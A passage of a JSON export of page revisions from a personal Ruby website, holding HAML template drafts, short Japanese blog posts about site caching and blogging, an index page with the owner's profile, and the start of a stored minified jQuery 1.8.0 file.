x.name).order('id desc').last}.sort{|a,b| a.id \u003c=\u003e b.id}.reverse.each do |p|\r\n =p.name","created_at":"2012-08-24T18:19:25.000Z","updated_at":"2012-08-24T18:19:25.000Z"},{"id":2124,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - text\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 ssig33.com - text\r\n =@request.class\r\n -Page.select('distinct name').where('name like ?', 'text/%').map{|x| Page.where(name: x.name).order('id desc').last}.sort{|a,b| a.id \u003c=\u003e b.id}.reverse.each do |p|\r\n =p.name","created_at":"2012-08-24T18:20:32.000Z","updated_at":"2012-08-24T18:20:32.000Z"},{"id":2125,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - text\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 ssig33.com - text\r\n -Page.select('distinct name').where('name like ?', 'text/%').map{|x| Page.where(name: x.name).order('id desc').last}.sort{|a,b| a.id \u003c=\u003e b.id}.reverse.each do |p|\r\n %p\r\n %a{href: \"/#{p.name}=p.name\r\n %span{style: 'color:grey'}=\"(#{p.created_at})\"","created_at":"2012-08-24T18:21:32.000Z","updated_at":"2012-08-24T18:21:32.000Z"},{"id":2126,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - text\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 ssig33.com - text\r\n -Page.select('distinct name').where('name like ?', 'text/%').map{|x| Page.where(name: x.name).order('id desc').last}.sort{|a,b| a.id \u003c=\u003e b.id}.reverse.each do |p|\r\n %p\r\n %a{href: \"/#{p.name}\"}=p.name\r\n %span{style: 'color:grey'}=\"(#{p.created_at})\"","created_at":"2012-08-24T18:21:46.000Z","updated_at":"2012-08-24T18:21:46.000Z"},{"id":2127,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - text\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 ssig33.com - text\r\n -Page.select('distinct name').where('name like ?', 'text/%').map{|x| Page.where(name: x.name).order('id desc').last}.sort{|a,b| a.id \u003c=\u003e b.id}.reverse.each do |p|\r\n %p\r\n %a{href: \"/#{p.name}\"}=p.name.sub(/^text\\//, '')\r\n %span{style: 'color:grey'}=\"(#{p.created_at})\"","created_at":"2012-08-24T18:22:12.000Z","updated_at":"2012-08-24T18:22:12.000Z"},{"id":2128,"name":"text/新しいブログっぽいやつ作った","body":"%blog%\r\n\r\n前よりひっそりやっていきたいとは思っているがフィードをこっちにリダイレクトさせてもいいかもとか考えてる。\r\n\r\nまとまった文章(あるいはまとまってない文章)は書きたいし公開したいがそこまで読まれたくもないというニーズがある。その結果人々が facebook にこもっているのを感じるし、あまり人に読まれたくない文章もこっそり公開しておきたい。","created_at":"2012-08-24T18:32:12.000Z","updated_at":"2012-08-24T18:32:12.000Z"},{"id":2129,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - text\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %p\r\n %a{href: '/'} back to the top\r\n %h1 ssig33.com - text\r\n -Page.select('distinct name').where('name like ?', 'text/%').map{|x| Page.where(name: x.name).order('id desc').last}.sort{|a,b| a.id \u003c=\u003e b.id}.reverse.each do |p|\r\n %p\r\n %a{href: \"/#{p.name}\"}=p.name.sub(/^text\\//, '')\r\n %span{style: 'color:grey'}=\"(#{p.created_at})\"","created_at":"2012-08-24T18:33:50.000Z","updated_at":"2012-08-24T18:33:50.000Z"},{"id":2130,"name":"index","body":"\u003cspan class=\"h1\"\u003essig33.com\u003c/span\u003e\r\n\r\n\u003cspan class=\"h2\"\u003e Contents \u0026 Service\u003c/span\u003e\r\n\r\n[Texts](http://ssig33.com/text) \r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com) *KANEKURE Platform*\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[Contact Infomation](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[Old Texts](http://text.ssig33.com) \r\n\r\n[others](/others)\r\n\r\n# Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90 1450 2501 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n# Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- JavaScript \u0026 Ajax \u0026 HTML5\r\n- HTML \u0026 CSS\r\n- Japanese\r\n- English(a bit)\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2012-08-24T19:10:35.000Z","updated_at":"2012-08-24T19:10:35.000Z"},{"id":2131,"name":"text/地味にサイト改善した","body":"%blog%\r\n\r\nなるべく memcached にキャッシュさせて SQL を発行したり Ruby で複雑な処理をさせたりしないようにみたいな感じ。\r\n\r\n実際には nginx にもキャッシュさせたいけどだるくて全然そういうことやれてない。 gyazo 死ぬほど重いのなんとかならんかな。","created_at":"2012-08-24T19:12:12.000Z","updated_at":"2012-08-24T19:12:12.000Z"},{"id":2132,"name":"text/地味にサイト改善した","body":"%blog%\r\n\r\nなるべく memcached にキャッシュさせて SQL を発行したり Ruby で複雑な処理をさせたりしないようにみたいな感じ。というかこれまでそういうのをやっていなかった。誰もここ見てないだろうという気持ちがあった。\r\n\r\n実際には nginx にもキャッシュさせたいけどだるくて全然そういうことやれてない。 gyazo 死ぬほど重いのなんとかならんかな。","created_at":"2012-08-24T19:12:37.000Z","updated_at":"2012-08-24T19:12:37.000Z"},{"id":2133,"name":"text/地味にサイト改善した","body":"%blog%\r\n\r\nなるべく memcached にキャッシュさせて SQL を発行したり Ruby で複雑な処理をさせたりしないようにみたいな感じ。というかこれまでそういうのをやっていなかった。誰もここ見てないだろうという気持ちがあった。\r\n\r\n今ソースは[こんな感じ](/source)になっている。そんなに悪いもんでもないとは思っている。。。\r\n\r\n実際には nginx にもキャッシュさせたいけどだるくて全然そういうことやれてない。 gyazo 死ぬほど重いのなんとかならんかな。","created_at":"2012-08-24T19:15:53.000Z","updated_at":"2012-08-24T19:15:53.000Z"},{"id":2134,"name":"text/地味にサイト改善した","body":"%blog%\r\n\r\nなるべく memcached にキャッシュさせて SQL を発行したり Ruby で複雑な処理をさせたりしないようにみたいな感じ。というかこれまでそういうのをやっていなかった。誰もここ見てないだろうという気持ちがあった。\r\n\r\n今ソースは[こんな感じ](/source)になっている。そんなに悪いもんでもないとは思っている。。。\r\n\r\n実際には nginx にもキャッシュさせたいけどだるくて全然そういうことやれてない。 gyazo 死ぬほど重いのなんとかならんかな。\r\n\r\nそれにしても眠い。。。","created_at":"2012-08-24T19:22:28.000Z","updated_at":"2012-08-24T19:22:28.000Z"},{"id":2135,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - text\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %p\r\n %a{href: '/'} back to the top\r\n %h1 ssig33.com - text\r\n %h3=\"Updated At #{Page.where('name like ?', 'text/%').order('id desc').first.created_at}\"\r\n -Page.select('distinct name').where('name like ?', 'text/%').map{|x| Page.where(name: x.name).order('id desc').last}.sort{|a,b| a.id \u003c=\u003e b.id}.reverse.each do |p|\r\n %p\r\n %a{href: \"/#{p.name}\"}=p.name.sub(/^text\\//, '')\r\n %span{style: 'color:grey'}=\"(#{p.created_at})\"","created_at":"2012-08-24T19:28:30.000Z","updated_at":"2012-08-24T19:28:30.000Z"},{"id":2136,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - text\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %p\r\n %a{href: '/'} back to the top\r\n %h1 ssig33.com - text\r\n %p=\"Updated At #{Page.where('name like ?', 'text/%').order('id desc').first.created_at}\"\r\n -Page.select('distinct name').where('name like ?', 'text/%').map{|x| Page.where(name: x.name).order('id desc').last}.sort{|a,b| a.id \u003c=\u003e b.id}.reverse.each do |p|\r\n %p\r\n %a{href: \"/#{p.name}\"}=p.name.sub(/^text\\//, '')\r\n %span{style: 'color:grey'}=\"(#{p.created_at})\"","created_at":"2012-08-24T19:28:38.000Z","updated_at":"2012-08-24T19:28:38.000Z"},{"id":2137,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - text\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %p\r\n %a{href: '/'} back to the top\r\n %h1 ssig33.com - text\r\n %p=\"Updated At #{Page.where('name like ?', 'text/%').order('id desc').first.created_at}\"\r\n %hr\r\n -Page.select('distinct name').where('name like ?', 'text/%').map{|x| Page.where(name: x.name).order('id desc').last}.sort{|a,b| a.id \u003c=\u003e b.id}.reverse.each do |p|\r\n %p\r\n %a{href: \"/#{p.name}\"}=p.name.sub(/^text\\//, '')\r\n %span{style: 'color:grey'}=\"(#{p.created_at})\"","created_at":"2012-08-24T19:28:51.000Z","updated_at":"2012-08-24T19:28:51.000Z"},{"id":2138,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - text\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %p\r\n %a{href: '/'} back to the top\r\n %h1 ssig33.com - text\r\n -Page.select('distinct name').where('name like ?', 'text/%').map{|x| Page.where(name: x.name).order('id desc').last}.sort{|a,b| a.id \u003c=\u003e b.id}.reverse.each do |p|\r\n %p\r\n %a{href: \"/#{p.name}\"}=p.name.sub(/^text\\//, '')\r\n %span{style: 'color:grey'}=\"(#{p.created_at})\"","created_at":"2012-08-24T19:29:08.000Z","updated_at":"2012-08-24T19:29:08.000Z"},{"id":2139,"name":"jquery.js","body":"raw\nmime js\n/*! jQuery v@1.8.0 jquery.com | jquery.org/license */\r\n(function(a,b){function G(a){var b=F[a]={};return p.each(a.split(s),function(a,c){b[c]=!0}),b}function J(a,c,d){if(d===b\u0026\u0026a.nodeType===1){var e=\"data-\"+c.replace(I,\"-$1\").toLowerCase();d=a.getAttribute(e);if(typeof d==\"string\"){try{d=d===\"true\"?!0:d===\"false\"?!1:d===\"null\"?null:+d+\"\"===d?+d:H.test(d)?p.parseJSON(d):d}catch(f){}p.data(a,c,d)}else d=b}return d}function K(a){var b;for(b in a){if(b===\"data\"\u0026\u0026p.isEmptyObject(a[b]))continue;if(b!==\"toJSON\")return!1}return!0}function ba(){return!1}function bb(){return!0}function bh(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function bi(a,b){do a=a[b];while(a\u0026\u0026a.nodeType!==1);return a}function bj(a,b,c){b=b||0;if(p.isFunction(b))return p.grep(a,function(a,d){var e=!!b.call(a,d,a);return e===c});if(b.nodeType)return p.grep(a,function(a,d){return a===b===c});if(typeof b==\"string\"){var d=p.grep(a,function(a){return a.nodeType===1});if(be.test(b))return p.filter(b,d,!c);b=p.filter(b,d)}return p.grep(a,function(a,d){return p.inArray(a,b)\u003e=0===c})}function bk(a){var b=bl.split(\"|\"),c=a.createDocumentFragment();if(c.createElement)while(b.length)c.createElement(b.pop());return c}function bC(a,b){return a.getElementsByTagName(b)[0]||a.appendChild(a.ownerDocument.createElement(b))}function bD(a,b){if(b.nodeType!==1||!p.hasData(a))return;var c,d,e,f=p._data(a),g=p._data(b,f),h=f.events;if(h){delete g.handle,g.events={};for(c in h)for(d=0,e=h[c].length;d\u003ce;d++)p.event.add(b,c,h[c][d])}g.data\u0026\u0026(g.data=p.extend({},g.data))}function bE(a,b){var c;if(b.nodeType!==1)return;b.clearAttributes\u0026\u0026b.clearAttributes(),b.mergeAttributes\u0026\u0026b.mergeAttributes(a),c=b.nodeName.toLowerCase(),c===\"object\"?(b.parentNode\u0026\u0026(b.outerHTML=a.outerHTML),p.support.html5Clone\u0026\u0026a.innerHTML\u0026\u0026!p.trim(b.innerHTML)\u0026\u0026(b.innerHTML=a.innerHTML)):c===\"input\"\u0026\u0026bv.test(a.type)?(b.defaultChecked=b.checked=a.checked,b.value!==a.value\u0026\u0026(b.value=a.value)):c===\"option\"?b.selected=a.defaultSelected:c===\"input\"||c===\"textarea\"?b.defaultValue=a.defaultValue:c===\"script\"\u0026\u0026b.text!==a.text\u0026\u0026(b.text=a.text),b.removeAttribute(p.expando)}function bF(a){return typeof a.getElementsByTagName!=\"undefined\"?a.getElementsByTagName(\"*\"):typeof a.querySelectorAll!=\"undefined\"?a.querySelectorAll(\"*\"):[]}function bG(a){bv.test(a.type)\u0026\u0026(a.defaultChecked=a.checked)}function bX(a,b){if(b in a)return b;var c=b.charAt(0).toUpperCase()+b.slice(1),d=b,e=bV.length;while(e--){b=bV[e]+c;if(b in a)return b}return d}function bY(a,b){return a=b||a,p.css(a,\"display\")===\"none\"||!p.contains(a.ownerDocument,a)}function bZ(a,b){var c,d,e=[],f=0,g=a.length;for(;f\u003cg;f++){c=a[f];if(!c.style)continue;e[f]=p._data(c,\"olddisplay\"),b?(!e[f]\u0026\u0026c.style.display===\"none\"\u0026\u0026(c.style.display=\"\"),c.style.display===\"\"\u0026\u0026bY(c)\u0026\u0026(e[f]=p._data(c,\"olddisplay\",cb(c.nodeName)))):(d=bH(c,\"display\"),!e[f]\u0026\u0026d!==\"none\"\u0026\u0026p._data(c,\"olddisplay\",d))}for(f=0;f\u003cg;f++){c=a[f];if(!c.style)continue;if(!b||c.style.display===\"none\"||c.style.display===\"\")c.style.display=b?e[f]||\"\":\"none\"}return a}function b$(a,b,c){var d=bO.exec(b);return d?Math.max(0,d[1]-(c||0))+(d[2]||\"px\"):b}function b_(a,b,c,d){var e=c===(d?\"border\":\"content\")?4:b===\"width\"?1:0,f=0;for(;e\u003c4;e+=2)c===\"margin\"\u0026\u0026(f+=p.css(a,c+bU[e],!0)),d?(c===\"content\"\u0026\u0026(f-=parseFloat(bH(a,\"padding\"+bU[e]))||0),c!==\"margin\"\u0026\u0026(f-=parseFloat(bH(a,\"border\"+bU[e]+\"Width\"))||0)):(f+=parseFloat(bH(a,\"padding\"+bU[e]))||0,c!==\"padding\"\u0026\u0026(f+=parseFloat(bH(a,\"border\"+bU[e]+\"Width\"))||0));return f}function ca(a,b,c){var d=b===\"width\"?a.offsetWidth:a.offsetHeight,e=!0,f=p.support.boxSizing\u0026\u0026p.css(a,\"boxSizing\")===\"border-box\";if(d\u003c=0){d=bH(a,b);if(d\u003c0||d==null)d=a.style[b];if(bP.test(d))return d;e=f\u0026\u0026(p.support.boxSizingReliable||d===a.style[b]),d=parseFloat(d)||0}return d+b_(a,b,c||(f?\"border\":\"content\"),e)+\"px\"}function cb(a){if(bR[a])return bR[a];var b=p(\"\u003c\"+a+\"\u003e\").appendTo(e.body),c=b.css(\"display\");b.remove();if(c===\"none\"||c===\"\"){bI=e.body.appendChild(bI||p.extend(e.createElement(\"iframe\"),{frameBorder:0,width:0,height:0}));if(!bJ||!bI.createElement)bJ=(bI.contentWindow||bI.contentDocument).document,bJ.write(\"\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\"),bJ.close();b=bJ.body.appendChild(bJ.createElement(a)),c=bH(b,\"display\"),e.body.removeChild(bI)}return bR[a]=c,c}function ch(a,b,c,d){var e;if(p.isArray(b))p.each(b,function(b,e){c||cd.test(a)?d(a,e):ch(a+\"[\"+(typeof e==\"object\"?b:\"\")+\"]\",e,c,d)});else if(!c\u0026\u0026p.type(b)===\"object\")for(e in b)ch(a+\"[\"+e+\"]\",b[e],c,d);else d(a,b)}function cy(a){return function(b,c){typeof b!=\"string\"\u0026\u0026(c=b,b=\"*\");var d,e,f,g=b.toLowerCase().split(s),h=0,i=g.length;if(p.isFunction(c))for(;h\u003ci;h++)d=g[h],f=/^\\+/.test(d),f\u0026\u0026(d=d.substr(1)||\"*\"),e=a[d]=a[d]||[],e[f?\"unshift\":\"push\"](c)}}function cz(a,c,d,e,f,g){f=f||c.dataTypes[0],g=g||{},g[f]=!0;var h,i=a[f],j=0,k=i?i.length:0,l=a===cu;for(;j\u003ck\u0026\u0026(l||!h);j++)h=i[j](c,d,e),typeof h==\"string\"\u0026\u0026(!l||g[h]?h=b:(c.dataTypes.unshift(h),h=cz(a,c,d,e,h,g)));return(l||!h)\u0026\u0026!g[\"*\"]\u0026\u0026(h=cz(a,c,d,e,\"*\",g)),h}function cA(a,c){var d,e,f=p.ajaxSettings.flatOptions||{};for(d in c)c[d]!==b\u0026\u0026((f[d]?a:e||(e={}))[d]=c[d]);e\u0026\u0026p.extend(!0,a,e)}function cB(a,c,d){var e,f,g,h,i=a.contents,j=a.dataTypes,k=a.responseFields;for(f in k)f in d\u0026\u0026(c[k[f]]=d[f]);while(j[0]===\"*\")j.shift(),e===b\u0026\u0026(e=a.mimeType||c.getResponseHeader(\"content-type\"));if(e)for(f in i)if(i[f]\u0026\u0026i[f].test(e)){j.unshift(f);break}if(j[0]in d)g=j[0];else{for(f in d){if(!j[0]||a.converters[f+\" \"+j[0]]){g=f;break}h||(h=f)}g=g||h}if(g)return g!==j[0]\u0026\u0026j.unshift(g),d[g]}function cC(a,b){var c,d,e,f,g=a.dataTypes.slice(),h=g[0],i={},j=0;a.dataFilter\u0026\u0026(b=a.dataFilter(b,a.dataType));if(g[1])for(c in a.converters)i[c.toLowerCase()]=a.converters[c];for(;e=g[++j];)if(e!==\"*\"){if(h!==\"*\"\u0026\u0026h!==e){c=i[h+\" \"+e]||i[\"* \"+e];if(!c)for(d in i){f=d.split(\" \");if(f[1]===e){c=i[h+\" \"+f[0]]||i[\"* \"+f[0]];if(c){c===!0?c=i[d]:i[d]!==!0\u0026\u0026(e=f[0],g.splice(j--,0,e));break}}}if(c!==!0)if(c\u0026\u0026a[\"throws\"])b=c(b);else try{b=c(b)}catch(k){return{state:\"parsererror\",error:c?k:\"No conversion from \"+h+\" to \"+e}}}h=e}return{state:\"success\",data:b}}function cK(){try{return new a.XMLHttpRequest}catch(b){}}function cL(){try{return new a.ActiveXObject(\"Microsoft.XMLHTTP\")}catch(b){}}function cT(){return setTimeout(function(){cM=b},0),cM=p.now()}function cU(a,b){p.each(b,function(b,c){var d=(cS[b]||[]).concat(cS[\"*\"]),e=0,f=d.length;for(;e\u003cf;e++)if(d[e].call(a,b,c))return})}function cV(a,b,c){var d,e=0,f=0,g=cR.length,h=p.Deferred().always(function(){delete i.elem}),i=function(){var b=cM||cT(),c=Math.max(0,j.startTime+j.duration-b),d=1-(c/j.duration||0),e=0,f=j.tweens.length;for(;e\u003cf;e++)j.tweens[e].run(d);return h.notifyWith(a,[j,d,c]),d\u003c1\u0026\u0026f?c:(h.resolveWith(a,[j]),!1)},j=h.promise({elem:a,props:p.extend({},b),opts:p.extend(!0,{specialEasing:{}},c),originalProperties:b,originalOptions:c,startTime:cM||cT(),duration:c.duration,tweens:[],createTween:function(b,c,d){var e=p.Tween(a,j.opts,b,c,j.opts.specialEasing[b]||j.opts.easing);return j.tweens.push(e),e},stop:function(b){var c=0,d=b?j.tweens.length:0;for(;c\u003cd;c++)j.tweens[c].run(1);return b?h.resolveWith(a,[j,b]):h.rejectWith(a,[j,b]),this}}),k=j.props;cW(k,j.opts.specialEasing);for(;e\u003cg;e++){d=cR[e].call(j,a,k,j.opts);if(d)return d}return cU(j,k),p.isFunction(j.opts.start)\u0026\u0026j.opts.start.call(a,j),p.fx.timer(p.extend(i,{anim:j,queue:j.opts.queue,elem:a})),j.progress(j.opts.progress).done(j.opts.done,j.opts.complete).fail(j.opts.fail).always(j.opts.always)}function cW(a,b){var c,d,e,f,g;for(c in a){d=p.camelCase(c),e=b[d],f=a[c],p.isArray(f)\u0026\u0026(e=f[1],f=a[c]=f[0]),c!==d\u0026\u0026(a[d]=f,delete a[c]),g=p.cssHooks[d];if(g\u0026\u0026\"expand\"in g){f=g.expand(f),delete a[d];for(c in f)c in a||(a[c]=f[c],b[c]=e)}else b[d]=e}}function cX(a,b,c){var d,e,f,g,h,i,j,k,l=this,m=a.style,n={},o=[],q=a.nodeType\u0026\u0026bY(a);c.queue||(j=p._queueHooks(a,\"fx\"),j.unqueued==null\u0026\u0026(j.unqueued=0,k=j.empty.fire,j.empty.fire=function(){j.unqueued||k()}),j.unqueued++,l.always(function(){l.always(function(){j.unqueued--,p.queue(a,\"fx\").length||j.empty.fire()})})),a.nodeType===1\u0026\u0026(\"height\"in b||\"width\"in b)\u0026\u0026(c.overflow=[m.overflow,m.overflowX,m.overflowY],p.css(a,\"display\")===\"inline\"\u0026\u0026p.css(a,\"float\")===\"none\"\u0026\u0026(!p.support.inlineBlockNeedsLayout||cb(a.nodeName)===\"inline\"?m.display=\"inline-block\":m.zoom=1)),c.overflow\u0026\u0026(m.overflow=\"hidden\",p.support.shrinkWrapBlocks||l.done(function(){m.overflow=c.overflow[0],m.overflowX=c.overflow[1],m.overflowY=c.overflow[2]}));for(d in b){f=b[d];if(cO.exec(f)){delete 